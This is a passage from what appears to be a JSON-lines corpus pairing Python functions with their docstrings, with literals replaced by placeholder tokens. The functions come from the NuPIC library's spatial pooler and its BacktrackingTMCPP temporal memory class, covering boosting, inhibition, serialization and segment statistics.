and\n  input dimensions [7, 11], and the column index is 3, the method\n  returns input index 8.\n\nParameters:\n----------------------------\n:param index:   The index identifying a column in the permanence, potential\n                and connectivity matrices.\n:param wrapAround: A boolean value indicating that boundaries should be\n                ignored.", "id": "f17561:c4:m77"}
{"signature": "def _mapPotential(self, index):", "body": "centerInput = self._mapColumn(index)<EOL>columnInputs = self._getInputNeighborhood(centerInput).astype(uintType)<EOL>numPotential = int(columnInputs.size * self._potentialPct + <NUM_LIT:0.5>)<EOL>selectedInputs = numpy.empty(numPotential, dtype=uintType)<EOL>self._random.sample(columnInputs, selectedInputs)<EOL>potential = numpy.zeros(self._numInputs, dtype=uintType)<EOL>potential[selectedInputs] = <NUM_LIT:1><EOL>return potential<EOL>", "docstring": "Maps a column to its input bits. This method encapsulates the topology of\nthe region. It takes the index of the column as an argument and determines\nwhat are the indices of the input vector that are located within the\ncolumn's potential pool. The return value is a list containing the indices\nof the input bits. The current implementation of the base class only\nsupports a 1 dimensional topology of columns with a 1 dimensional topology\nof inputs. To extend this class to support 2-D topology you will need to\noverride this method. Examples of the expected output of this method:\n* If the potentialRadius is greater than or equal to the largest input\n  dimension then each column connects to all of the inputs.\n* If the topology is one dimensional, the input space is divided up evenly\n  among the columns and each column is centered over its share of the\n  inputs.  If the potentialRadius is 5, then each column connects to the\n  input it is centered above as well as the 5 inputs to the left of that\n  input and the five inputs to the right of that input, wrapping around if\n  wrapAround=True.\n* If the topology is two dimensional, the input space is again divided up\n  evenly among the columns and each column is centered above its share of\n  the inputs.  If the potentialRadius is 5, the column connects to a square\n  that has 11 inputs on a side and is centered on the input that the column\n  is centered above.\n\nParameters:\n----------------------------\n:param index:   The index identifying a column in the permanence, potential\n                and connectivity matrices.", "id": "f17561:c4:m78"}
{"signature": "@staticmethod<EOL><INDENT>def _updateDutyCyclesHelper(dutyCycles, newInput, period):<DEDENT>", "body": "assert(period >= <NUM_LIT:1>)<EOL>return (dutyCycles * (period -<NUM_LIT:1.0>) + newInput) / period<EOL>", "docstring": "Updates a duty cycle estimate with a new value. This is a helper\nfunction that is used to update several duty cycle variables in\nthe Column class, such as: overlapDutyCucle, activeDutyCycle,\nminPctDutyCycleBeforeInh, minPctDutyCycleAfterInh, etc. returns\nthe updated duty cycle. Duty cycles are updated according to the following\nformula:\n\n              (period - 1)*dutyCycle + newValue\n  dutyCycle := ----------------------------------\n                          period\n\nParameters:\n----------------------------\n:param dutyCycles: An array containing one or more duty cycle values that need\n                to be updated\n:param newInput: A new numerical value used to update the duty cycle\n:param period:  The period of the duty cycle", "id": "f17561:c4:m79"}
{"signature": "def _updateBoostFactors(self):", "body": "if self._globalInhibition:<EOL><INDENT>self._updateBoostFactorsGlobal()<EOL><DEDENT>else:<EOL><INDENT>self._updateBoostFactorsLocal()<EOL><DEDENT>", "docstring": "Update the boost factors for all columns. The boost factors are used to\nincrease the overlap of inactive columns to improve their chances of\nbecoming active, and hence encourage participation of more columns in the\nlearning process. The boosting function is a curve defined as:\nboostFactors = exp[ - boostStrength * (dutyCycle - targetDensity)]\nIntuitively this means that columns that have been active at the target\nactivation level have a boost factor of 1, meaning their overlap is not\nboosted. Columns whose active duty cycle drops too much below that of their\nneighbors are boosted depending on how infrequently they have been active.\nColumns that has been active more than the target activation level have\na boost factor below 1, meaning their overlap is suppressed\n\nThe boostFactor depends on the activeDutyCycle via an exponential function:\n\n        boostFactor\n            ^\n            |\n            |\\\n            | \\\n      1  _  |  \\\n            |    _\n            |      _ _\n            |          _ _ _ _\n            +--------------------> activeDutyCycle\n               |\n          targetDensity", "id": "f17561:c4:m80"}
{"signature": "def _updateBoostFactorsGlobal(self):", "body": "<EOL>if (self._localAreaDensity > <NUM_LIT:0>):<EOL><INDENT>targetDensity = self._localAreaDensity<EOL><DEDENT>else:<EOL><INDENT>inhibitionArea = ((<NUM_LIT:2> * self._inhibitionRadius + <NUM_LIT:1>)<EOL>** self._columnDimensions.size)<EOL>inhibitionArea = min(self._numColumns, inhibitionArea)<EOL>targetDensity = float(self._numActiveColumnsPerInhArea) / inhibitionArea<EOL>targetDensity = min(targetDensity, <NUM_LIT:0.5>)<EOL><DEDENT>self._boostFactors = numpy.exp(<EOL>(targetDensity - self._activeDutyCycles) * self._boostStrength)<EOL>", "docstring": "Update boost factors when global inhibition is used", "id": "f17561:c4:m81"}
{"signature": "def _updateBoostFactorsLocal(self):", "body": "<EOL>targetDensity = numpy.zeros(self._numColumns, dtype=realDType)<EOL>for i in range(self._numColumns):<EOL><INDENT>maskNeighbors = self._getColumnNeighborhood(i)<EOL>targetDensity[i] = numpy.mean(self._activeDutyCycles[maskNeighbors])<EOL><DEDENT>self._boostFactors = numpy.exp(<EOL>(targetDensity - self._activeDutyCycles) * self._boostStrength)<EOL>", "docstring": "Update boost factors when local inhibition is used", "id": "f17561:c4:m82"}
{"signature": "def _updateBookeepingVars(self, learn):", "body": "self._iterationNum += <NUM_LIT:1><EOL>if learn:<EOL><INDENT>self._iterationLearnNum += <NUM_LIT:1><EOL><DEDENT>", "docstring": "Updates counter instance variables each round.\n\nParameters:\n----------------------------\n:param learn:   a boolean value indicating whether learning should be\n                performed. Learning entails updating the  permanence\n                values of the synapses, and hence modifying the 'state'\n                of the model. setting learning to 'off' might be useful\n                for indicating separate training vs. testing sets.", "id": "f17561:c4:m83"}
{"signature": "def _calculateOverlap(self, inputVector):", "body": "overlaps = numpy.zeros(self._numColumns, dtype=realDType)<EOL>self._connectedSynapses.rightVecSumAtNZ_fast(inputVector.astype(realDType),<EOL>overlaps)<EOL>return overlaps<EOL>", "docstring": "This function determines each column's overlap with the current input\nvector. The overlap of a column is the number of synapses for that column\nthat are connected (permanence value is greater than '_synPermConnected')\nto input bits which are turned on. The implementation takes advantage of\nthe SparseBinaryMatrix class to perform this calculation efficiently.\n\nParameters:\n----------------------------\n:param inputVector: a numpy array of 0's and 1's that comprises the input to\n                the spatial pooler.", "id": "f17561:c4:m84"}
{"signature": "def _inhibitColumns(self, overlaps):", "body": "<EOL>if (self._localAreaDensity > <NUM_LIT:0>):<EOL><INDENT>density = self._localAreaDensity<EOL><DEDENT>else:<EOL><INDENT>inhibitionArea = ((<NUM_LIT:2>*self._inhibitionRadius + <NUM_LIT:1>)<EOL>** self._columnDimensions.size)<EOL>inhibitionArea = min(self._numColumns, inhibitionArea)<EOL>density = float(self._numActiveColumnsPerInhArea) / inhibitionArea<EOL>density = min(density, <NUM_LIT:0.5>)<EOL><DEDENT>if self._globalInhibition orself._inhibitionRadius > max(self._columnDimensions):<EOL><INDENT>return self._inhibitColumnsGlobal(overlaps, density)<EOL><DEDENT>else:<EOL><INDENT>return self._inhibitColumnsLocal(overlaps, density)<EOL><DEDENT>", "docstring": "Performs inhibition. This method calculates the necessary values needed to\nactually perform inhibition and then delegates the task of picking the\nactive columns to helper functions.\n\nParameters:\n----------------------------\n:param overlaps: an array containing the overlap score for each  column.\n                The overlap score for a column is defined as the number\n                of synapses in a \"connected state\" (connected synapses)\n                that are connected to input bits which are turned on.", "id": "f17561:c4:m86"}
{"signature": "def _inhibitColumnsGlobal(self, overlaps, density):", "body": "<EOL>numActive = int(density * self._numColumns)<EOL>sortedWinnerIndices = numpy.argsort(overlaps, kind='<STR_LIT>')<EOL>start = len(sortedWinnerIndices) - numActive<EOL>while start < len(sortedWinnerIndices):<EOL><INDENT>i = sortedWinnerIndices[start]<EOL>if overlaps[i] >= self._stimulusThreshold:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>start += <NUM_LIT:1><EOL><DEDENT><DEDENT>return sortedWinnerIndices[start:][::-<NUM_LIT:1>]<EOL>", "docstring": "Perform global inhibition. Performing global inhibition entails picking the\ntop 'numActive' columns with the highest overlap score in the entire\nregion. At most half of the columns in a local neighborhood are allowed to\nbe active. Columns with an overlap score below the 'stimulusThreshold' are\nalways inhibited.\n\n:param overlaps: an array containing the overlap score for each  column.\n                The overlap score for a column is defined as the number\n                of synapses in a \"connected state\" (connected synapses)\n                that are connected to input bits which are turned on.\n:param density: The fraction of columns to survive inhibition.\n@return list with indices of the winning columns", "id": "f17561:c4:m87"}
{"signature": "def _inhibitColumnsLocal(self, overlaps, density):", "body": "activeArray = numpy.zeros(self._numColumns, dtype=\"<STR_LIT:bool>\")<EOL>for column, overlap in enumerate(overlaps):<EOL><INDENT>if overlap >= self._stimulusThreshold:<EOL><INDENT>neighborhood = self._getColumnNeighborhood(column)<EOL>neighborhoodOverlaps = overlaps[neighborhood]<EOL>numBigger = numpy.count_nonzero(neighborhoodOverlaps > overlap)<EOL>ties = numpy.where(neighborhoodOverlaps == overlap)<EOL>tiedNeighbors = neighborhood[ties]<EOL>numTiesLost = numpy.count_nonzero(activeArray[tiedNeighbors])<EOL>numActive = int(<NUM_LIT:0.5> + density * len(neighborhood))<EOL>if numBigger + numTiesLost < numActive:<EOL><INDENT>activeArray[column] = True<EOL><DEDENT><DEDENT><DEDENT>return activeArray.nonzero()[<NUM_LIT:0>]<EOL>", "docstring": "Performs local inhibition. Local inhibition is performed on a column by\ncolumn basis. Each column observes the overlaps of its neighbors and is\nselected if its overlap score is within the top 'numActive' in its local\nneighborhood. At most half of the columns in a local neighborhood are\nallowed to be active. Columns with an overlap score below the\n'stimulusThreshold' are always inhibited.\n\n:param overlaps: an array containing the overlap score for each  column.\n                The overlap score for a column is defined as the number\n                of synapses in a \"connected state\" (connected synapses)\n                that are connected to input bits which are turned on.\n:param density: The fraction of columns to survive inhibition. This\n                value is only an intended target. Since the surviving\n                columns are picked in a local fashion, the exact fraction\n                of surviving columns is likely to vary.\n@return list with indices of the winning columns", "id": "f17561:c4:m88"}
{"signature": "def _isUpdateRound(self):", "body": "return (self._iterationNum % self._updatePeriod) == <NUM_LIT:0><EOL>", "docstring": "returns true if enough rounds have passed to warrant updates of\nduty cycles", "id": "f17561:c4:m89"}
{"signature": "def _getColumnNeighborhood(self, centerColumn):", "body": "if self._wrapAround:<EOL><INDENT>return topology.wrappingNeighborhood(centerColumn,<EOL>self._inhibitionRadius,<EOL>self._columnDimensions)<EOL><DEDENT>else:<EOL><INDENT>return topology.neighborhood(centerColumn,<EOL>self._inhibitionRadius,<EOL>self._columnDimensions)<EOL><DEDENT>", "docstring": "Gets a neighborhood of columns.\n\nSimply calls topology.neighborhood or topology.wrappingNeighborhood\n\nA subclass can insert different topology behavior by overriding this method.\n\n:param centerColumn (int)\nThe center of the neighborhood.\n\n@returns (1D numpy array of integers)\nThe columns in the neighborhood.", "id": "f17561:c4:m90"}
{"signature": "def _getInputNeighborhood(self, centerInput):", "body": "if self._wrapAround:<EOL><INDENT>return topology.wrappingNeighborhood(centerInput,<EOL>self._potentialRadius,<EOL>self._inputDimensions)<EOL><DEDENT>else:<EOL><INDENT>return topology.neighborhood(centerInput,<EOL>self._potentialRadius,<EOL>self._inputDimensions)<EOL><DEDENT>", "docstring": "Gets a neighborhood of inputs.\n\nSimply calls topology.wrappingNeighborhood or topology.neighborhood.\n\nA subclass can insert different topology behavior by overriding this method.\n\n:param centerInput (int)\nThe center of the neighborhood.\n\n@returns (1D numpy array of integers)\nThe inputs in the neighborhood.", "id": "f17561:c4:m91"}
{"signature": "def _seed(self, seed=-<NUM_LIT:1>):", "body": "if seed != -<NUM_LIT:1>:<EOL><INDENT>self._random = NupicRandom(seed)<EOL><DEDENT>else:<EOL><INDENT>self._random = NupicRandom()<EOL><DEDENT>", "docstring": "Initialize the random seed", "id": "f17561:c4:m92"}
{"signature": "def __setstate__(self, state):", "body": "<EOL>if state['<STR_LIT>'] < <NUM_LIT:2>:<EOL><INDENT>state['<STR_LIT>'] = True<EOL><DEDENT>if state['<STR_LIT>'] < <NUM_LIT:3>:<EOL><INDENT>state['<STR_LIT>'] = numpy.zeros(self._numColumns, dtype=realDType)<EOL>state['<STR_LIT>'] = numpy.zeros(self._numColumns, dtype=realDType)<EOL><DEDENT>state['<STR_LIT>'] = VERSION<EOL>self.__dict__.update(state)<EOL>", "docstring": "Initialize class properties from stored values.", "id": "f17561:c4:m93"}
{"signature": "def printParameters(self):", "body": "print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\", self.getNumInputs())<EOL>print(\"<STR_LIT>\", self.getNumColumns())<EOL>print(\"<STR_LIT>\", self._columnDimensions)<EOL>print(\"<STR_LIT>\", self.getNumActiveColumnsPerInhArea())<EOL>print(\"<STR_LIT>\", self.getPotentialPct())<EOL>print(\"<STR_LIT>\", self.getGlobalInhibition())<EOL>print(\"<STR_LIT>\", self.getLocalAreaDensity())<EOL>print(\"<STR_LIT>\", self.getStimulusThreshold())<EOL>print(\"<STR_LIT>\", self.getSynPermActiveInc())<EOL>print(\"<STR_LIT>\", self.getSynPermInactiveDec())<EOL>print(\"<STR_LIT>\", self.getSynPermConnected())<EOL>print(\"<STR_LIT>\", self.getMinPctOverlapDutyCycles())<EOL>print(\"<STR_LIT>\", self.getDutyCyclePeriod())<EOL>print(\"<STR_LIT>\", self.getBoostStrength())<EOL>print(\"<STR_LIT>\", self.getSpVerbosity())<EOL>print(\"<STR_LIT>\", self._version)<EOL>", "docstring": "Useful for debugging.", "id": "f17561:c4:m97"}
{"signature": "def _extractCallingMethodArgs():", "body": "import inspect<EOL>import copy<EOL>callingFrame = inspect.stack()[<NUM_LIT:1>][<NUM_LIT:0>]<EOL>argNames, _, _, frameLocalVarDict = inspect.getargvalues(callingFrame)<EOL>argNames.remove(\"<STR_LIT>\")<EOL>args = copy.copy(frameLocalVarDict)<EOL>for varName in frameLocalVarDict:<EOL><INDENT>if varName not in argNames:<EOL><INDENT>args.pop(varName)<EOL><DEDENT><DEDENT>return args<EOL>", "docstring": "Returns args dictionary from the calling method", "id": "f17562:m0"}
{"signature": "def write(self, proto):", "body": "<EOL>super(BacktrackingTMCPP, self).write(proto.baseTM)<EOL>self.cells4.write(proto.cells4)<EOL>proto.makeCells4Ephemeral = self.makeCells4Ephemeral<EOL>proto.seed = self.seed<EOL>proto.checkSynapseConsistency = self.checkSynapseConsistency<EOL>proto.initArgs = json.dumps(self._initArgsDict)<EOL>", "docstring": "Populate serialization proto instance.\n\n        :param proto: (BacktrackingTMCppProto) the proto instance to populate", "id": "f17562:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def read(cls, proto):<DEDENT>", "body": "<EOL>obj = BacktrackingTM.read(proto.baseTM)<EOL>obj.__class__ = cls<EOL>newCells4 = Cells4.read(proto.cells4)<EOL>print(newCells4)<EOL>obj.cells4 = newCells4<EOL>obj.makeCells4Ephemeral = proto.makeCells4Ephemeral<EOL>obj.seed = proto.seed<EOL>obj.checkSynapseConsistency = proto.checkSynapseConsistency<EOL>obj._initArgsDict = json.loads(proto.initArgs)<EOL>obj._initArgsDict[\"<STR_LIT>\"] = str(obj._initArgsDict[\"<STR_LIT>\"])<EOL>obj.allocateStatesInCPP = False<EOL>obj.retrieveLearningStates = False<EOL>obj._setStatePointers()<EOL>return obj<EOL>", "docstring": "Deserialize from proto instance.\n\n        :param proto: (BacktrackingTMCppProto) the proto instance to read from", "id": "f17562:c0:m3"}
{"signature": "def __setstate__(self, state):", "body": "super(BacktrackingTMCPP, self).__setstate__(state)<EOL>if self.makeCells4Ephemeral:<EOL><INDENT>self._initCells4()<EOL><DEDENT>", "docstring": "Set the state of ourself from a serialized state.", "id": "f17562:c0:m5"}
{"signature": "def _getEphemeralMembers(self):", "body": "e = BacktrackingTM._getEphemeralMembers(self)<EOL>if self.makeCells4Ephemeral:<EOL><INDENT>e.extend(['<STR_LIT>'])<EOL><DEDENT>return e<EOL>", "docstring": "List of our member variables that we don't need to be saved", "id": "f17562:c0:m6"}
{"signature": "def _initEphemerals(self):", "body": "BacktrackingTM._initEphemerals(self)<EOL>self.allocateStatesInCPP = False<EOL>self.retrieveLearningStates = False<EOL>if self.makeCells4Ephemeral:<EOL><INDENT>self._initCells4()<EOL><DEDENT>", "docstring": "Initialize all ephemeral members after being restored to a pickled state.", "id": "f17562:c0:m7"}
{"signature": "def saveToFile(self, filePath):", "body": "self.cells4.saveToFile(filePath)<EOL>", "docstring": "Save Cells4 state to a file. File can be loaded with :meth:`loadFromFile`.", "id": "f17562:c0:m8"}
{"signature": "def loadFromFile(self, filePath):", "body": "self._setStatePointers()<EOL>self.cells4.loadFromFile(filePath)<EOL>", "docstring": "Load Cells4 state from a file saved with :meth:`saveToFile`.", "id": "f17562:c0:m9"}
{"signature": "def __getattr__(self, name):", "body": "try:<EOL><INDENT>return super(BacktrackingTMCPP, self).__getattr__(name)<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\" % name)<EOL><DEDENT>", "docstring": "Patch __getattr__ so that we can catch the first access to 'cells' and load.\n\nThis function is only called when we try to access an attribute that doesn't\nexist.  We purposely make sure that \"self.cells\" doesn't exist after\nunpickling so that we'll hit this, then we can load it on the first access.\n\nIf this is called at any other time, it will raise an AttributeError.\nThat's because:\n- If 'name' is \"cells\", after the first call, self._realCells won't exist\n  so we'll get an implicit AttributeError.\n- If 'name' isn't \"cells\", I'd expect our super wouldn't have __getattr__,\n  so we'll raise our own Attribute error.  If the super did get __getattr__,\n  we'll just return what it gives us.", "id": "f17562:c0:m10"}
{"signature": "def compute(self, bottomUpInput, enableLearn, enableInference=None):", "body": "<EOL>assert (bottomUpInput.dtype == numpy.dtype('<STR_LIT>')) or(bottomUpInput.dtype == numpy.dtype('<STR_LIT>')) or(bottomUpInput.dtype == numpy.dtype('<STR_LIT>'))<EOL>self.iterationIdx = self.iterationIdx + <NUM_LIT:1><EOL>if enableInference is None:<EOL><INDENT>if enableLearn:<EOL><INDENT>enableInference = False<EOL><DEDENT>else:<EOL><INDENT>enableInference = True<EOL><DEDENT><DEDENT>self._setStatePointers()<EOL>y = self.cells4.compute(bottomUpInput, enableInference, enableLearn)<EOL>self.currentOutput = y.reshape((self.numberOfCols, self.cellsPerColumn))<EOL>self.avgLearnedSeqLength = self.cells4.getAvgLearnedSeqLength()<EOL>self._copyAllocatedStates()<EOL>if self.collectStats:<EOL><INDENT>activeColumns = bottomUpInput.nonzero()[<NUM_LIT:0>]<EOL>if enableInference:<EOL><INDENT>predictedState = self.infPredictedState['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>predictedState = self.lrnPredictedState['<STR_LIT>']<EOL><DEDENT>self._updateStatsInferEnd(self._internalStats,<EOL>activeColumns,<EOL>predictedState,<EOL>self.colConfidence['<STR_LIT>'])<EOL><DEDENT>output = self._computeOutput()<EOL>self.printComputeEnd(output, learn=enableLearn)<EOL>self.resetCalled = False<EOL>return output<EOL>", "docstring": "Overrides :meth:`nupic.algorithms.backtracking_tm.BacktrackingTM.compute`.", "id": "f17562:c0:m11"}
{"signature": "def _inferPhase2(self):", "body": "self._setStatePointers()<EOL>self.cells4.inferPhase2()<EOL>self._copyAllocatedStates()<EOL>", "docstring": "This calls phase 2 of inference (used in multistep prediction).", "id": "f17562:c0:m12"}
{"signature": "def _copyAllocatedStates(self):", "body": "<EOL>if self.verbosity > <NUM_LIT:1> or self.retrieveLearningStates:<EOL><INDENT>(activeT, activeT1, predT, predT1) = self.cells4.getLearnStates()<EOL>self.lrnActiveState['<STR_LIT>'] = activeT1.reshape((self.numberOfCols, self.cellsPerColumn))<EOL>self.lrnActiveState['<STR_LIT:t>'] = activeT.reshape((self.numberOfCols, self.cellsPerColumn))<EOL>self.lrnPredictedState['<STR_LIT>'] = predT1.reshape((self.numberOfCols, self.cellsPerColumn))<EOL>self.lrnPredictedState['<STR_LIT:t>'] = predT.reshape((self.numberOfCols, self.cellsPerColumn))<EOL><DEDENT>if self.allocateStatesInCPP:<EOL><INDENT>assert False<EOL>(activeT, activeT1, predT, predT1, colConfidenceT, colConfidenceT1, confidenceT,<EOL>confidenceT1) = self.cells4.getStates()<EOL>self.cellConfidence['<STR_LIT:t>'] = confidenceT.reshape((self.numberOfCols, self.cellsPerColumn))<EOL>self.cellConfidence['<STR_LIT>'] = confidenceT1.reshape((self.numberOfCols, self.cellsPerColumn))<EOL>self.colConfidence['<STR_LIT:t>'] = colConfidenceT.reshape(self.numberOfCols)<EOL>self.colConfidence['<STR_LIT>'] = colConfidenceT1.reshape(self.numberOfCols)<EOL>self.infActiveState['<STR_LIT>'] = activeT1.reshape((self.numberOfCols, self.cellsPerColumn))<EOL>self.infActiveState['<STR_LIT:t>'] = activeT.reshape((self.numberOfCols, self.cellsPerColumn))<EOL>self.infPredictedState['<STR_LIT>'] = predT1.reshape((self.numberOfCols, self.cellsPerColumn))<EOL>self.infPredictedState['<STR_LIT:t>'] = predT.reshape((self.numberOfCols, self.cellsPerColumn))<EOL><DEDENT>", "docstring": "If state is allocated in CPP, copy over the data into our numpy arrays.", "id": "f17562:c0:m14"}
{"signature": "def _setStatePointers(self):", "body": "if not self.allocateStatesInCPP:<EOL><INDENT>self.cells4.setStatePointers(<EOL>self.infActiveState[\"<STR_LIT:t>\"], self.infActiveState[\"<STR_LIT>\"],<EOL>self.infPredictedState[\"<STR_LIT:t>\"], self.infPredictedState[\"<STR_LIT>\"],<EOL>self.colConfidence[\"<STR_LIT:t>\"], self.colConfidence[\"<STR_LIT>\"],<EOL>self.cellConfidence[\"<STR_LIT:t>\"], self.cellConfidence[\"<STR_LIT>\"])<EOL><DEDENT>", "docstring": "If we are having CPP use numpy-allocated buffers, set these buffer\n        pointers. This is a relatively fast operation and, for safety, should be\n        done before every call to the cells4 compute methods.  This protects us\n        in situations where code can cause Python or numpy to create copies.", "id": "f17562:c0:m15"}
{"signature": "def reset(self):", "body": "if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>self._setStatePointers()<EOL>self.cells4.reset()<EOL>BacktrackingTM.reset(self)<EOL>", "docstring": "Overrides :meth:`nupic.algorithms.backtracking_tm.BacktrackingTM.reset`.", "id": "f17562:c0:m16"}
{"signature": "def finishLearning(self):", "body": "<EOL>self.trimSegments(minPermanence=<NUM_LIT>)<EOL>", "docstring": "Overrides :meth:`nupic.algorithms.backtracking_tm.BacktrackingTM.finishLearning`.", "id": "f17562:c0:m17"}
{"signature": "def trimSegments(self, minPermanence=None, minNumSyns=None):", "body": "<EOL>if minPermanence is None:<EOL><INDENT>minPermanence = <NUM_LIT:0.0><EOL><DEDENT>if minNumSyns is None:<EOL><INDENT>minNumSyns = <NUM_LIT:0><EOL><DEDENT>if self.verbosity >= <NUM_LIT:5>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>self.printCells(predictedOnly=False)<EOL><DEDENT>return self.cells4.trimSegments(minPermanence=minPermanence, minNumSyns=minNumSyns)<EOL>", "docstring": "Overrides :meth:`nupic.algorithms.backtracking_tm.BacktrackingTM.trimSegments`.", "id": "f17562:c0:m18"}
{"signature": "def printSegmentUpdates(self):", "body": "<EOL>assert False<EOL>print(\"<STR_LIT>\", len(self.segmentUpdates))<EOL>for key, updateList in self.segmentUpdates.items():<EOL><INDENT>c,i = key[<NUM_LIT:0>],key[<NUM_LIT:1>]<EOL>print(c,i,updateList)<EOL><DEDENT>", "docstring": "Overrides :meth:`nupic.algorithms.backtracking_tm.BacktrackingTM.printSegmentUpdates`.", "id": "f17562:c0:m20"}
{"signature": "def _slowIsSegmentActive(self, seg, timeStep):", "body": "numSyn = seg.size()<EOL>numActiveSyns = <NUM_LIT:0><EOL>for synIdx in range(numSyn):<EOL><INDENT>if seg.getPermanence(synIdx) < self.connectedPerm:<EOL><INDENT>continue<EOL><DEDENT>sc, si = self.getColCellIdx(seg.getSrcCellIdx(synIdx))<EOL>if self.infActiveState[timeStep][sc, si]:<EOL><INDENT>numActiveSyns += <NUM_LIT:1><EOL>if numActiveSyns >= self.activationThreshold:<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT>return numActiveSyns >= self.activationThreshold<EOL>", "docstring": "A segment is active if it has >= activationThreshold connected\nsynapses that are active due to infActiveState.", "id": "f17562:c0:m21"}
{"signature": "def printCell(self, c, i, onlyActiveSegments=False):", "body": "nSegs = self.cells4.nSegmentsOnCell(c,i)<EOL>if nSegs > <NUM_LIT:0>:<EOL><INDENT>segList = self.cells4.getNonEmptySegList(c,i)<EOL>gidx = c * self.cellsPerColumn + i<EOL>print(\"<STR_LIT>\", c, \"<STR_LIT>\", i, \"<STR_LIT>\"%(gidx),\"<STR_LIT::>\", nSegs, \"<STR_LIT>\")<EOL>for k,segIdx in enumerate(segList):<EOL><INDENT>seg = self.cells4.getSegment(c, i, segIdx)<EOL>isActive = self._slowIsSegmentActive(seg, '<STR_LIT:t>')<EOL>if onlyActiveSegments and not isActive:<EOL><INDENT>continue<EOL><DEDENT>isActiveStr = \"<STR_LIT:*>\" if isActive else \"<STR_LIT:U+0020>\"<EOL>print(\"<STR_LIT>\" % (isActiveStr, segIdx), end='<STR_LIT:U+0020>')<EOL>print(seg.size(), end='<STR_LIT:U+0020>')<EOL>print(seg.isSequenceSegment(), \"<STR_LIT>\" % (seg.dutyCycle(<EOL>self.cells4.getNLrnIterations(), False, True)), end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\" % (seg.getPositiveActivations(),<EOL>seg.getTotalActivations()), end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\" % (self.cells4.getNLrnIterations()<EOL>- seg.getLastActiveIteration()), end='<STR_LIT:U+0020>')<EOL>numSyn = seg.size()<EOL>for s in range(numSyn):<EOL><INDENT>sc, si = self.getColCellIdx(seg.getSrcCellIdx(s))<EOL>print(\"<STR_LIT>\"%(sc, si, seg.getPermanence(s)), end='<STR_LIT:U+0020>')<EOL><DEDENT>print()<EOL><DEDENT><DEDENT>", "docstring": "Overrides :meth:`nupic.algorithms.backtracking_tm.BacktrackingTM.printCell`.", "id": "f17562:c0:m22"}
{"signature": "def getAvgLearnedSeqLength(self):", "body": "return self.cells4.getAvgLearnedSeqLength()<EOL>", "docstring": "Overrides :meth:`nupic.algorithms.backtracking_tm.BacktrackingTM.getAvgLearnedSeqLength`.", "id": "f17562:c0:m23"}
{"signature": "def getColCellIdx(self, idx):", "body": "c = idx//self.cellsPerColumn<EOL>i = idx - c*self.cellsPerColumn<EOL>return c,i<EOL>", "docstring": "Get column and cell within column from a global cell index.\nThe global index is ``idx = colIdx * nCellsPerCol() + cellIdxInCol``\n\n:param idx: (int) global cell index\n:returns: (tuple) (colIdx, cellIdxInCol)", "id": "f17562:c0:m24"}
{"signature": "def getSegmentOnCell(self, c, i, segIdx):", "body": "segList = self.cells4.getNonEmptySegList(c,i)<EOL>seg = self.cells4.getSegment(c, i, segList[segIdx])<EOL>numSyn = seg.size()<EOL>assert numSyn != <NUM_LIT:0><EOL>result = []<EOL>result.append([int(segIdx), bool(seg.isSequenceSegment()),<EOL>seg.getPositiveActivations(),<EOL>seg.getTotalActivations(), seg.getLastActiveIteration(),<EOL>seg.getLastPosDutyCycle(),<EOL>seg.getLastPosDutyCycleIteration()])<EOL>for s in range(numSyn):<EOL><INDENT>sc, si = self.getColCellIdx(seg.getSrcCellIdx(s))<EOL>result.append([int(sc), int(si), seg.getPermanence(s)])<EOL><DEDENT>return result<EOL>", "docstring": "Overrides :meth:`nupic.algorithms.backtracking_tm.BacktrackingTM.getSegmentOnCell`.", "id": "f17562:c0:m25"}
{"signature": "def getNumSegments(self):", "body": "return self.cells4.nSegments()<EOL>", "docstring": "Overrides :meth:`nupic.algorithms.backtracking_tm.BacktrackingTM.getNumSegments`.", "id": "f17562:c0:m26"}
{"signature": "def getNumSynapses(self):", "body": "return self.cells4.nSynapses()<EOL>", "docstring": "Overrides :meth:`nupic.algorithms.backtracking_tm.BacktrackingTM.getNumSynapses`.", "id": "f17562:c0:m27"}
{"signature": "def getNumSegmentsInCell(self, c, i):", "body": "return self.cells4.nSegmentsOnCell(c,i)<EOL>", "docstring": "Overrides :meth:`nupic.algorithms.backtracking_tm.BacktrackingTM.getNumSegmentsInCell`.", "id": "f17562:c0:m28"}
{"signature": "def getSegmentInfo(self, collectActiveData = False):", "body": "<EOL>assert collectActiveData == False<EOL>nSegments, nSynapses = self.getNumSegments(), self.cells4.nSynapses()<EOL>distSegSizes, distNSegsPerCell = {}, {}<EOL>nActiveSegs, nActiveSynapses = <NUM_LIT:0>, <NUM_LIT:0><EOL>distPermValues = {}   <EOL>numAgeBuckets = <NUM_LIT:20><EOL>distAges = []<EOL>ageBucketSize = int((self.iterationIdx+<NUM_LIT:20>) / <NUM_LIT:20>)<EOL>for i in range(numAgeBuckets):<EOL><INDENT>distAges.append(['<STR_LIT>' % (i*ageBucketSize, (i+<NUM_LIT:1>)*ageBucketSize-<NUM_LIT:1>), <NUM_LIT:0>])<EOL><DEDENT>for c in range(self.numberOfCols):<EOL><INDENT>for i in range(self.cellsPerColumn):<EOL><INDENT>nSegmentsThisCell = self.getNumSegmentsInCell(c,i)<EOL>if nSegmentsThisCell > <NUM_LIT:0>:<EOL><INDENT>if nSegmentsThisCell in distNSegsPerCell:<EOL><INDENT>distNSegsPerCell[nSegmentsThisCell] += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>distNSegsPerCell[nSegmentsThisCell] = <NUM_LIT:1><EOL><DEDENT>segList = self.cells4.getNonEmptySegList(c,i)<EOL>for segIdx in range(nSegmentsThisCell):<EOL><INDENT>seg = self.getSegmentOnCell(c, i, segIdx)<EOL>nSynapsesThisSeg = len(seg) - <NUM_LIT:1><EOL>if nSynapsesThisSeg > <NUM_LIT:0>:<EOL><INDENT>if nSynapsesThisSeg in distSegSizes:<EOL><INDENT>distSegSizes[nSynapsesThisSeg] += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>distSegSizes[nSynapsesThisSeg] = <NUM_LIT:1><EOL><DEDENT>for syn in 